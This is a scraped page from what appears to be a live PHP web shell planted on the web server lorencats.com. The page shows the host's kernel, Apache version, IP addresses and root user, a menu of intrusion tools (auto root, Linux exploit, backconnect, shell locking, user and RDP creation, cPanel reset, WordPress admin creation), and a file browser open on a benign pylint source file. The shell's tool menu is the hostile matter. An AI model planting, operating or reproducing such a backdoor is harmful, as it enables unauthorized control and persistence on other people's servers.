Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
pylint /
extensions /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
_check_docs_utils.py
22.14
KB
-rw-r--r--
bad_builtin.py
2.38
KB
-rw-r--r--
check_docs.py
784
B
-rw-r--r--
check_elif.py
2.35
KB
-rw-r--r--
comparetozero.py
2.33
KB
-rw-r--r--
docparams.py
18.63
KB
-rw-r--r--
docstyle.py
2.84
KB
-rw-r--r--
emptystring.py
2.42
KB
-rw-r--r--
mccabe.py
6.06
KB
-rw-r--r--
overlapping_exceptions.py
3.23
KB
-rw-r--r--
redefined_variable_type.py
4.11
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : check_elif.py
# -*- coding: utf-8 -*- # Copyright (c) 2015 LOGILAB S.A. (Paris, FRANCE) <contact@logilab.fr> # Copyright (c) 2016-2017 Claudiu Popa <pcmanticore@gmail.com> # Copyright (c) 2016 Glenn Matthews <glmatthe@cisco.com> # Copyright (c) 2018 Ville Skyttä <ville.skytta@upcloud.com> # Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html # For details: https://github.com/PyCQA/pylint/blob/master/COPYING import astroid from pylint.checkers import BaseTokenChecker from pylint.checkers.utils import check_messages from pylint.interfaces import ITokenChecker, IAstroidChecker class ElseifUsedChecker(BaseTokenChecker): """Checks for use of "else if" when an "elif" could be used """ __implements__ = (ITokenChecker, IAstroidChecker) name = "else_if_used" msgs = { "R5501": ( 'Consider using "elif" instead of "else if"', "else-if-used", "Used when an else statement is immediately followed by " "an if statement and does not contain statements that " "would be unrelated to it.", ) } def __init__(self, linter=None): BaseTokenChecker.__init__(self, linter) self._init() def _init(self): self._elifs = [] self._if_counter = 0 def process_tokens(self, tokens): # Process tokens and look for 'if' or 'elif' for _, token, _, _, _ in tokens: if token == "elif": self._elifs.append(True) elif token == "if": self._elifs.append(False) def leave_module(self, _): self._init() def visit_ifexp(self, _): self._if_counter += 1 def visit_comprehension(self, node): self._if_counter += len(node.ifs) @check_messages("else-if-used") def visit_if(self, node): if isinstance(node.parent, astroid.If): orelse = node.parent.orelse # current if node must directly follow an "else" if orelse and orelse == [node]: if not self._elifs[self._if_counter]: self.add_message("else-if-used", node=node) self._if_counter += 1 def register(linter): """Required method to auto register this checker. :param linter: Main interface object for Pylint plugins :type linter: Pylint object """ linter.register_checker(ElseifUsedChecker(linter))
Close